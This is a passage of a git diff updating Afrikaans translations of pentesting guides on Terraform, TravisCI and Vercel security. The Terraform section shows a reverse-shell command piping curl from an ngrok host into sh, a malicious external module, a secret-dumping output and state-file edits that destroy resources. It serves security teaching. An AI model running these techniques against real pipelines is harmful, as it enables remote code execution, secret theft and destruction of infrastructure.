infrastruktuur en jou konfigurasie. +- **Toepas:** Met goedkeuring voer Terraform die voorgestelde operasies in die korrekte volgorde uit, terwyl dit enige hulpbron afhanklikhede respekteer. Byvoorbeeld, as jy die eienskappe van 'n VPC opdateer en die aantal virtuele masjiene in daardie VPC verander, sal Terraform die VPC weer skep voordat dit die virtuele masjiene skaal. ![](<../images/image (215).png>) -### Terraform Lab +### Terraform Laboratorium Installeer eenvoudig terraform op jou rekenaar. @@ -36,9 +36,9 @@ Terraform **het nie 'n platform wat 'n webblad of 'n netwerkdiens blootstel** wa Egter, terraform is 'n **baie sensitiewe komponent** om te kompromitteer omdat dit **bevoorregte toegang** tot verskillende plekke sal hê sodat dit behoorlik kan werk. -Die hoof manier vir 'n aanvaller om in staat te wees om die stelsel waar terraform loop te kompromitteer, is om **die repo te kompromitteer wat terraform konfigurasies stoor**, omdat dit op 'n stadium **geïterpreteer** gaan word. +Die hoofmanier vir 'n aanvaller om in staat te wees om die stelsel waar terraform loop te kompromitteer, is om **die repo te kompromitteer wat terraform konfigurasies stoor**, omdat dit op 'n sekere tydstip **geïntpreteer** gaan word. -Werklik, daar is oplossings daar buite wat **automaties terraform plan/apply uitvoer nadat 'n PR** geskep is, soos **Atlantis**: +Werklik, daar is oplossings daar buite wat **automaties terraform plan/toepas uitvoer nadat 'n PR** geskep is, soos **Atlantis**: {{#ref}} atlantis-security.md @@ -50,9 +50,9 @@ As jy in staat is om 'n terraform lêer te kompromitteer, is daar verskillende m Terraform plan is die **mees gebruikte opdrag** in terraform en ontwikkelaars/oplossings wat terraform gebruik, noem dit heeltyd, so die **gemaklikste manier om RCE te kry** is om te verseker dat jy 'n terraform konfigurasie lêer vergiftig wat arbitrêre opdragte in 'n `terraform plan` sal uitvoer. -**Using an external provider** +**Gebruik 'n eksterne verskaffer** -Terraform bied die [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) wat 'n manier bied om tussen Terraform en eksterne programme te kommunikeer. Jy kan die `external` data bron gebruik om arbitrêre kode tydens 'n `plan` uit te voer. +Terraform bied die [`external` verskaffer](https://registry.terraform.io/providers/hashicorp/external/latest/docs) wat 'n manier bied om tussen Terraform en eksterne programme te kommunikeer. Jy kan die `external` databron gebruik om arbitrêre kode tydens 'n `plan` uit te voer. Om iets soos die volgende in 'n terraform konfigurasie lêer in te voeg, sal 'n rev shell uitvoer wanneer jy `terraform plan` uitvoer: ```javascript @@ -79,17 +79,17 @@ Die verskaffer word afgelaai in die `init` en sal die kwaadwillige kode uitvoer Jy kan 'n voorbeeld vind in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -**Gebruik 'n eksterne verwysing** +**Gebruik van 'n eksterne verwysing** -Albei genoemde opsies is nuttig, maar nie baie stil nie (die tweede is stilser, maar meer kompleks as die eerste een). Jy kan hierdie aanval selfs op 'n **stilser manier** uitvoer deur hierdie voorstelle te volg: +Albei genoemde opsies is nuttig, maar nie baie stealthy nie (die tweede is meer stealthy maar meer kompleks as die eerste een). Jy kan hierdie aanval selfs op 'n **stealthier manier** uitvoer deur hierdie voorstelle te volg: -- In plaas daarvan om die rev shell direk in die terraform-lêer by te voeg, kan jy **'n eksterne hulpbron laai** wat die rev shell bevat: +- In plaas daarvan om die rev shell direk in die terraform-lêer by te voeg, kan jy 'n **eksterne hulpbron** laai wat die rev shell bevat: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +U kan die rev shell kode vind in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - In die eksterne hulpbron, gebruik die **ref** kenmerk om die **terraform rev shell kode in 'n tak** binne die repo te verberg, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` @@ -114,9 +114,9 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" ``` Volg die **voorstelle van die vorige tegniek** om hierdie aanval op 'n **stealthier manier met eksterne verwysings** uit te voer. -## Secrets Dumps +## Geheimenisse Dumps -Jy kan **geheime waardes wat deur terraform gebruik word, laat dump** deur `terraform apply` te loop deur iets soos die volgende aan die terraform-lêer toe te voeg: +Jy kan **geheime waardes wat deur terraform gebruik word, laat dump** deur `terraform apply` te loop en iets soos die volgende aan die terraform-lêer toe te voeg: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -124,15 +124,7 @@ value = nonsensitive(var.do_token) ``` ## Misbruik van Terraform Toestand Lêers -In die geval dat jy skryfreëls oor terraform toestand lêers het, maar nie die terraform kode kan verander nie, [**hierdie navorsing**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) bied 'n paar interessante opsies om voordeel te trek uit die lêer: - -### Verwydering van hulpbronne - -Daar is 2 maniere om hulpbronne te vernietig: - -1. **Voeg 'n hulpbron met 'n ewekansige naam by die toestand lêer wat na die werklike hulpbron verwys om te vernietig** - -Omdat terraform sal sien dat die hulpbron nie behoort te bestaan nie, sal dit dit vernietig (volgens die werklike hulpbron ID wat aangedui word). Voorbeeld van die vorige bladsy: +In die geval dat jy skryfreëls oor terraform toestand lêers het, maar nie die terraform kode kan verander nie, [**hierdie navorsing**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) bied 'n paar interessante opsies om voordeel te ```json { "mode": "managed", @@ -150,7 +142,7 @@ Omdat terraform sal sien dat die hulpbron nie behoort te bestaan nie, sal dit di ``` 2. **Wysig die hulpbron om te verwyder op 'n manier dat dit nie moontlik is om op te dateer nie (sodat dit verwyder en weer geskep sal word)** -Vir 'n EC2-instantie is dit genoeg om die tipe van die instantie te wysig sodat terraform dit verwyder en weer skep. +Vir 'n EC2-instantie is dit genoeg om die tipe van die instantie te wysig om terraform te laat verwyder en dit weer te skep. ### RCE @@ -169,7 +161,7 @@ Dit is ook moontlik om [n pasgemaakte verskaffer te skep](https://developer.hash ``` ### Vervang geblacklisted verskaffer -In die geval dat jy 'n situasie teëkom waar `hashicorp/external` geblacklisted was, kan jy die `external` verskaffer herimplementer deur die volgende te doen. Let wel: Ons gebruik 'n fork van die eksterne verskaffer gepubliseer deur https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan jou eie fork of herimplementering ook publiseer. +In die geval dat jy 'n situasie teëkom waar `hashicorp/external` geblacklisted was, kan jy die `external` verskaffer herimplementeer deur die volgende te doen. Let wel: Ons gebruik 'n fork van die eksterne verskaffer wat gepubliseer is deur https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan jou eie fork of herimplementering ook publiseer. ```terraform terraform { required_providers { @@ -190,10 +182,10 @@ program = ["sh", "-c", "whoami"] ### [**Snyk Infrastruktur as Kode (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk bied 'n omvattende Infrastruktur as Kode (IaC) skandeeroplossing wat kwesbaarhede en verkeerde konfigurasies in Terraform, CloudFormation, Kubernetes, en ander IaC formate opspoor. +Snyk bied 'n omvattende Infrastruktur as Kode (IaC) skandeeroplossing wat kwesbaarhede en verkeerde konfigurasies in Terraform, CloudFormation, Kubernetes, en ander IaC-formate opspoor. - **Kenmerke:** -- Regs-tijd skandering vir sekuriteitskwesbaarhede en nakomingskwessies. +- Regs-tyd skandering vir sekuriteitskwesbaarhede en nakomingskwessies. - Integrasie met weergawebeheer stelsels (GitHub, GitLab, Bitbucket). - Outomatiese regstelling trek versoeke. - Gedetailleerde hersteladvies. @@ -206,25 +198,25 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** is 'n statiese kode analise hulpmiddel vir infrastruktuur as kode (IaC) en ook 'n sagteware samestelling analise (SCA) hulpmiddel vir beelde en oopbron pakkette. +**Checkov** is 'n statiese kode-analise hulpmiddel vir infrastruktuur as kode (IaC) en ook 'n sagteware-samestelling analise (SCA) hulpmiddel vir beelde en oopbron pakkette. -Dit skandeer wolk infrastruktuur wat voorsien is met behulp van [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), of [OpenTofu](https://opentofu.org/) en detecteer sekuriteits- en nakomingsmisconfigurasies met behulp van graf-gebaseerde skandering. +Dit skandeer wolkinfrastruktuur wat voorsien is met [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), of [OpenTofu](https://opentofu.org/) en detecteer sekuriteits- en nakomingsmisconfigurasies deur middel van graf-gebaseerde skandering. -Dit voer [Sagteware Samestelling Analise (SCA) skandering](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) uit wat 'n skandering van oopbron pakkette en beelde vir Algemene Kw vulnerabilities en Blootstellings (CVEs) is. +Dit voer [Sagteware-samestelling analise (SCA) skandering](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) uit, wat 'n skandering van oopbron pakkette en beelde vir Algemene Kw vulnerabilities en Blootstellings (CVEs) is. ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is 'n liggewig, sekuriteit en nakoming gefokusde toetsraamwerk teenoor terraform om negatiewe toetsing vermoë vir jou infrastruktuur-as-kode moontlik te maak. +Van die [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is 'n liggewig, sekuriteit en nakoming gefokusde toetsraamwerk teenoor terraform om negatiewe toetsing vermoë vir jou infrastruktuur-as-kode moontlik te maak. -- **compliance:** Verseker dat die geïmplementeerde kode sekuriteitsstandaarde en jou eie pasgemaakte standaarde volg -- **behaviour driven development:** Ons het BDD vir byna alles, hoekom nie vir IaC nie? -- **portable:** installeer dit net vanaf `pip` of hardloop dit via `docker`. Sien [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** dit valideer jou kode voordat dit ontplooi word -- **easy to integrate:** dit kan in jou pyplyn (of in git hooks) hardloop om te verseker dat alle ontplooiings gevalideer word. -- **segregation of duty:** jy kan jou toetse in 'n ander repository hou waar 'n aparte span verantwoordelik is. +- **nakoming:** Verseker dat die geïmplementeerde kode die sekuriteitsstandaarde en jou eie pasgemaakte standaarde volg. +- **gedragsgedrewe ontwikkeling:** Ons het BDD vir byna alles, hoekom nie vir IaC nie? +- **portabel:** installeer dit net vanaf `pip` of hardloop dit via `docker`. Sien [Installasie](https://terraform-compliance.com/pages/installation/) +- **voor-ontplooi:** dit valideer jou kode voordat dit ontplooi word. +- **maklik om te integreer:** dit kan in jou pyplyn (of in git hooks) loop om te verseker dat alle ontplooiings gevalideer word. +- **segregasie van pligte:** jy kan jou toetse in 'n ander repository hou waar 'n aparte span verantwoordelik is. > [!NOTE] > Ongelukkig, as die kode sommige verskaffers gebruik waartoe jy nie toegang het nie, sal jy nie in staat wees om die `terraform plan` uit te voer en hierdie hulpmiddel te gebruik nie. @@ -235,7 +227,7 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec gebruik statiese analise van jou terraform kode om potensiële miskonfigurasies op te spoor. +Van die [**docs**](https://github.com/aquasecurity/tfsec): tfsec gebruik statiese analise van jou terraform kode om potensiële miskonfigurasies op te spoor. - ☁️ Kontroleer vir miskonfigurasies oor alle groot (en sommige klein) wolkverskaffers - ⛔ Honderde ingeboude reëls @@ -247,7 +239,7 @@ From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec gebruik statie - 🙅 Pas (en versier) gebruiker-gedefinieerde Rego-beleide toe - 📃 Ondersteun verskeie uitvoerformate: pragtig (verstek), JSON, SARIF, CSV, CheckStyle, JUnit, teks, Gif. - 🛠️ Konfigureerbaar (via CLI-vlaggies en/of konfigurasie lêer) -- ⚡ Baie vinnig, in staat om vinnig enorme repositories te skandeer +- ⚡ Baie vinnig, in staat om vinnig groot repositories te skandeer ```bash brew install tfsec tfsec /path/to/folder @@ -264,7 +256,7 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" Van die [**docs**](https://github.com/tenable/terrascan): Terrascan is 'n statiese kode-analiseerder vir Infrastruktur as Kode. Terrascan stel jou in staat om: -- Naadloos infrastruktuur as kode te skandeer vir verkeerde konfigurasies. +- Naadloos infrastruktuur as kode te skandeer vir misconfigurasies. - Geprovisioneerde wolkinfrastruktuur te monitor vir konfigurasiewijzigings wat posisie-afwykings inbring, en stel jou in staat om na 'n veilige posisie terug te keer. - Sekuriteitskwesbaarhede en nakomingsoortredings te ontdek. - Risiko's te verminder voordat wolk-natiewe infrastruktuur geprovisioneer word. diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index 89c721c72..cd5b472f0 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -1,10 +1,10 @@ -# TravisCI Veiligheid +# TravisCI Sekuriteit {{#include ../../banners/hacktricks-training.md}} ## Wat is TravisCI -**Travis CI** is 'n **gehoste** of op **plek** **deurlopende integrasie** diens wat gebruik word om sagteware projekte te bou en te toets wat op verskeie **verskillende git platforms** gehost word. +**Travis CI** is 'n **gehoste** of op **plek** **deurlopende integrasie** diens wat gebruik word om sagtewareprojekte te bou en te toets wat op verskeie **verskillende git platforms** gehost word. {{#ref}} basic-travisci-information.md @@ -20,12 +20,12 @@ Om 'n aanval te begin, moet jy eers weet hoe om 'n bou te aktiveer. Standaard sa #### Cron Jobs -As jy toegang het tot die webtoepassing, kan jy **crons stel om die bou te laat loop**, dit kan nuttig wees vir volharding of om 'n bou te aktiveer: +As jy toegang het tot die webtoepassing, kan jy **crons instel om die bou te laat loop**, dit kan nuttig wees vir volharding of om 'n bou te aktiveer: ![](<../../images/image (243).png>) > [!NOTE] -> Dit lyk of dit nie moontlik is om crons binne die `.travis.yml` in te stel nie volgens [dit](https://github.com/travis-ci/travis-ci/issues/9162). +> Dit lyk of dit nie moontlik is om crons binne die `.travis.yml` in te stel nie volgens [hierdie](https://github.com/travis-ci/travis-ci/issues/9162). ### Derdeparty PR @@ -39,7 +39,7 @@ Soos verduidelik in die [**basiese inligting**](basic-travisci-information.md) b - Om **geheime** wat as **Omgewing Veranderlikes** geconfigureer is te **nommer**, gaan na die **instellings** van die **projek** en kyk na die lys. Let egter daarop dat al die projek omgewing veranderlikes wat hier gestel is, sal verskyn wanneer 'n bou geaktiveer word. - Om die **aangepaste versleutelde geheime** te nommer, is die beste wat jy kan doen om die **`.travis.yml` lêer** te **kontroleer**. -- Om **versleutelde lêers** te nommer, kan jy kyk vir **`.enc` lêers** in die repo, vir lyne soortgelyk aan `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in die konfigurasielêer, of vir **versleutelde iv en sleutels** in die **Omgewing Veranderlikes** soos: +- Om **versleutelde lêers** te **nommer**, kan jy kyk vir **`.enc` lêers** in die repo, vir lyne soortgelyk aan `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in die konfigurasielêer, of vir **versleutelde iv en sleutels** in die **Omgewing Veranderlikes** soos: ![](<../../images/image (81).png>) @@ -50,7 +50,7 @@ Soos verduidelik in die [**basiese inligting**](basic-travisci-information.md) b ### TravisCI Enterprise -As 'n aanvaller in 'n omgewing eindig wat **TravisCI enterprise** gebruik (meer inligting oor wat dit is in die [**basiese inligting**](basic-travisci-information.md#travisci-enterprise)), sal hy in staat wees om **bou te aktiveer in die Werker.** Dit beteken dat 'n aanvaller in staat sal wees om lateraal na daardie bediener te beweeg waarvandaan hy in staat sal wees om: +As 'n aanvaller in 'n omgewing eindig wat **TravisCI enterprise** gebruik (meer inligting oor wat dit is in die [**basiese inligting**](basic-travisci-information.md#travisci-enterprise)), sal hy in staat wees om **bou te aktiveer in die Werker.** Dit beteken dat 'n aanvaller in staat sal wees om lateraal na daardie bediener te beweeg waar hy in staat kan wees om: - na die gasheer te ontsnap? - kubernetes te kompromitteer? diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 6ff1e3ac2..7e7136565 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -1,4 +1,4 @@ -# Basic TravisCI Information +# Basiese TravisCI Inligting {{#include ../../banners/hacktricks-training.md}} @@ -6,23 +6,23 @@ TravisCI integreer direk met verskillende git platforms soos Github, Bitbucket, Assembla, en Gitlab. Dit sal die gebruiker vra om TravisCI toestemming te gee om toegang te verkry tot die repos wat hy wil integreer met TravisCI. -Byvoorbeeld, in Github sal dit vir die volgende toestemmings vra: +Byvoorbeeld, in Github sal dit om die volgende toestemmings vra: - `user:email` (slegs lees) - `read:org` (slegs lees) -- `repo`: Gee lees- en skryftoegang tot kode, verbintenisstatusse, samewerkers, en ontplooiingstatusse vir openbare en private repositories en organisasies. +- `repo`: Gee lees- en skryftoegang tot kode, verbintenisstatusse, medewerkers, en ontplooiingstatusse vir openbare en private repositories en organisasies. -## Geënkripteerde Geheime +## Geënkripteerde Geheimen ### Omgewing Veranderlikes -In TravisCI, soos in ander CI platforms, is dit moontlik om **geheime op repo vlak te stoor** wat geënkripteer gestoor sal word en **ontsleutel en in die omgewing veranderlike** van die masjien wat die bou uitvoer, gepush sal word. +In TravisCI, soos in ander CI platforms, is dit moontlik om **geheimen op repo vlak te stoor** wat geënkripteer gestoor sal word en **ontsleuteld en in die omgewing veranderlike** van die masjien wat die bou uitvoer, gepush sal word. ![](<../../images/image (203).png>) -Dit is moontlik om die **takke aan te dui waartoe die geheime beskikbaar gaan wees** (standaard is dit alles) en ook of TravisCI **sy waarde moet wegsteek** as dit **in die logs** verskyn (standaard sal dit). +Dit is moontlik om die **takke aan te dui waartoe die geheimen beskikbaar gaan wees** (standaard al) en ook of TravisCI **sy waarde moet wegsteek** as dit **in die logs** verskyn (standaard sal dit). -### Pasgemaakte Geënkripteerde Geheime +### Pasgemaakte Geënkripteerde Geheimen Vir **elke repo** genereer TravisCI 'n **RSA sleutelpaar**, **hou** die **privaat** een, en maak die repository se **publieke sleutel beskikbaar** vir diegene wat **toegang** tot die repository het. @@ -31,7 +31,7 @@ Jy kan die publieke sleutel van een repo met toegang: travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` -Dan kan jy hierdie opstelling gebruik om **geheime te enkripteer en dit by jou `.travis.yaml` te voeg**. Die geheime sal **ontsleuteld word wanneer die bou gedoen word** en toeganklik wees in die **omgewing veranderlikes**. +Dan kan jy hierdie opstelling gebruik om **geheime te enkripteer en dit by jou `.travis.yaml`** te voeg. Die geheime sal **ontsleuteld word wanneer die bou gedoen word** en beskikbaar wees in die **omgewing veranderlikes**. ![](<../../images/image (139).png>) @@ -39,7 +39,7 @@ Let daarop dat die geheime wat op hierdie manier geënkripteer is, nie in die om ### Pasgemaakte Geënkripteerde Lêers -Op dieselfde manier as voorheen, laat TravisCI ook toe om **lêers te enkripteer en dit tydens die bou te ontsleutel**: +Op dieselfde manier as voorheen, laat TravisCI ook toe om **lêers te enkripteer en dit dan tydens die bou te ontsleutel**: ``` travis encrypt-file super_secret.txt -r carlospolop/t-ci-test @@ -57,24 +57,24 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` -Note that when encrypting a file 2 Env Variables will be configured inside the repo such as: +Let wel dat wanneer 'n lêer geënkripteer word, 2 Omgewing Veranderlikes binne die repo geconfigureer sal word, soos: ![](<../../images/image (170).png>) ## TravisCI Enterprise -Travis CI Enterprise is 'n **on-prem weergawe van Travis CI**, wat jy kan ontplooi **in jou infrastruktuur**. Dink aan die ‘bediener’ weergawe van Travis CI. Deur Travis CI te gebruik, kan jy 'n maklik-om-te-gebruik Kontinuïteitsintegrasie/Kontinuïteitsontplooiing (CI/CD) stelsel in 'n omgewing inskakel, wat jy kan konfigureer en beveilig soos jy wil. +Travis CI Enterprise is 'n **on-prem weergawe van Travis CI**, wat jy kan ontplooi **in jou infrastruktuur**. Dink aan die ‘bediener’ weergawe van Travis CI. Deur Travis CI te gebruik, kan jy 'n maklik-om-te-gebruik Kontinuïteitsintegrasie/Kontinuïteitsontplooiing (CI/CD) stelsel in 'n omgewing inskakel, wat jy kan configureer en beveilig soos jy wil. **Travis CI Enterprise bestaan uit twee hoofdele:** -1. TCI **dienste** (of TCI Kern Dienste), verantwoordelik vir integrasie met weergawebeheer stelsels, die autorisering van boue, die skedulering van bouwerk, ens. +1. TCI **dienste** (of TCI Kern Dienste), verantwoordelik vir integrasie met weergawebeheer stelsels, bougoedkeuring, skedulering van bouwerk, ens. 2. TCI **Werker** en bou omgewing beelde (ook genoem OS beelde). **TCI Kern dienste vereis die volgende:** 1. 'n **PostgreSQL11** (of later) databasis. 2. 'n infrastruktuur om 'n Kubernetes-kluster te ontplooi; dit kan in 'n bedienerkluster of op 'n enkele masjien ontplooi word indien nodig. -3. Afhangende van jou opstelling, wil jy dalk sommige van die komponente op jou eie ontplooi en konfigureer, bv. RabbitMQ - sien die [Instelling van Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) vir meer besonderhede. +3. Afhangende van jou opstelling, wil jy dalk sommige van die komponente op jou eie ontplooi en configureer, bv. RabbitMQ - sien die [Instelling van Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) vir meer besonderhede. **TCI Werker vereis die volgende:** diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 23d655946..f2d1ad04f 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -2,433 +2,436 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Basiese Inligting -In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**. +In Vercel is 'n **Span** die volledige **omgewing** wat aan 'n kliënt behoort en 'n **projek** is 'n **aansoek**. -For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also). +Vir 'n verhardingshersiening van **Vercel** moet jy vra vir 'n gebruiker met **Kykersroltoestemming** of ten minste **Projekkyker toestemming oor die projekte** om te kontroleer (in geval jy net die projekte en nie die Span konfigurasie ook hoef te kontroleer nie). -## Project Settings +## Projekinstellings -### General +### Algemeen -**Purpose:** Bestuur fundamentele projekinstellings soos projeknaam, raamwerk, en boukonfigurasies. +**Doel:** Bestuur fundamentele projekinstellings soos projeknaam, raamwerk, en boukonfigurasies. -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **Transfer** -- **Misconfiguration:** Laat toe om die projek na 'n ander span oor te dra -- **Risk:** 'n Aanvaller kan die projek steel -- **Delete Project** -- **Misconfiguration:** Laat toe om die projek te verwyder -- **Risk:** Verwyder die projek +- **Oordrag** +- **Misconfigurasie:** Laat toe om die projek na 'n ander span oor te dra +- **Risiko:** 'n Aanvaller kan die projek steel +- **Verwyder Projek** +- **Misconfigurasie:** Laat toe om die projek te verwyder +- **Risiko:** Verwyder die projek --- -### Domains +### Domeine -**Purpose:** Bestuur pasgemaakte domeine, DNS-instellings, en SSL-konfigurasies. +**Doel:** Bestuur pasgemaakte domeine, DNS-instellings, en SSL-konfigurasies. -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **DNS Configuration Errors** -- **Misconfiguration:** Onakkurate DNS rekords (A, CNAME) wat na kwaadwillige bedieners wys. -- **Risk:** Domein kaap, verkeersafluistering, en phishing-aanvalle. -- **SSL/TLS Certificate Management** -- **Misconfiguration:** Gebruik van swak of vervalde SSL/TLS sertifikate. -- **Risk:** Kwetsbaar vir man-in-the-middle (MITM) aanvalle, wat data-integriteit en vertroulikheid in gevaar stel. -- **DNSSEC Implementation** -- **Misconfiguration:** Versuim om DNSSEC in te skakel of onakkurate DNSSEC-instellings. -- **Risk:** Verhoogde kwesbaarheid vir DNS spoofing en cache vergiftiging aanvalle. -- **Environment used per domain** -- **Misconfiguration:** Verander die omgewing wat deur die domein in produksie gebruik word. -- **Risk:** Stel potensiële geheime of funksies bloot wat nie in produksie beskikbaar moet wees nie. +- **DNS Konfigurasiefoute** +- **Misconfigurasie:** Onkorrekte DNS rekords (A, CNAME) wat na kwaadwillige bedieners wys. +- **Risiko:** Domein kaap, verkeersafluistering, en phishing-aanvalle. +- **SSL/TLS Sertifikaatbestuur** +- **Misconfigurasie:** Gebruik van swak of vervalde SSL/TLS sertifikate. +- **Risiko:** Kwetsbaar vir man-in-the-middle (MITM) aanvalle, wat data integriteit en vertroulikheid in gevaar stel. +- **DNSSEC Implementasie** +- **Misconfigurasie:** Versuim om DNSSEC in te skakel of onkorrekte DNSSEC instellings. +- **Risiko:** Verhoogde vatbaarheid vir DNS spoofing en cache vergiftiging aanvalle. +- **Omgewing gebruik per domein** +- **Misconfigurasie:** Verander die omgewing wat deur die domein in produksie gebruik word. +- **Risiko:** Stel potensiële geheime of funksies bloot wat nie in produksie beskikbaar moet wees nie. --- -### Environments +### Omgewings -**Purpose:** Definieer verskillende omgewings (Ontwikkeling, Voorbeeld, Produksie) met spesifieke instellings en veranderlikes. +**Doel:** Definieer verskillende omgewings (Ontwikkeling, Voorbeeld, Produksie) met spesifieke instellings en veranderlikes. -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **Environment Isolation** -- **Misconfiguration:** Deel omgewing veranderlikes oor omgewings. -- **Risk:** Lek van produksie geheime in ontwikkeling of voorbeeld omgewings, wat blootstelling verhoog. -- **Access to Sensitive Environments** -- **Misconfiguration:** Laat breë toegang tot produksie omgewings toe. -- **Risk:** Ongeoorloofde veranderinge of toegang tot lewendige toepassings, wat tot potensiële stilstand of datalekke kan lei. +- **Omgewing Isolasie** +- **Misconfigurasie:** Deel omgewing veranderlikes oor omgewings. +- **Risiko:** Lek van produksie geheime in ontwikkeling of voorbeeld omgewings, wat blootstelling verhoog. +- **Toegang tot Sensitiewe Omgewings** +- **Misconfigurasie:** Laat breë toegang tot produksie omgewings toe. +- **Risiko:** Ongeoorloofde veranderinge of toegang tot lewende aansoeke, wat kan lei tot potensiële stilstand of datalekke. --- -### Environment Variables +### Omgewing Veranderlikes -**Purpose:** Bestuur omgewing-spesifieke veranderlikes en geheime wat deur die toepassing gebruik word. +**Doel:** Bestuur omgewing-spesifieke veranderlikes en geheime wat deur die aansoek gebruik word. -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **Exposing Sensitive Variables** -- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. -- **Risk:** Blootstelling van API sleutels, databasis akrediteer, of ander sensitiewe data aan die publiek, wat tot datalekke lei. -- **Sensitive disabled** -- **Misconfiguration:** As gedeaktiveer (standaard) is dit moontlik om die waardes van die gegenereerde geheime te lees. -- **Risk:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting. +- **Blootstelling van Sensitiewe Veranderlikes** +- 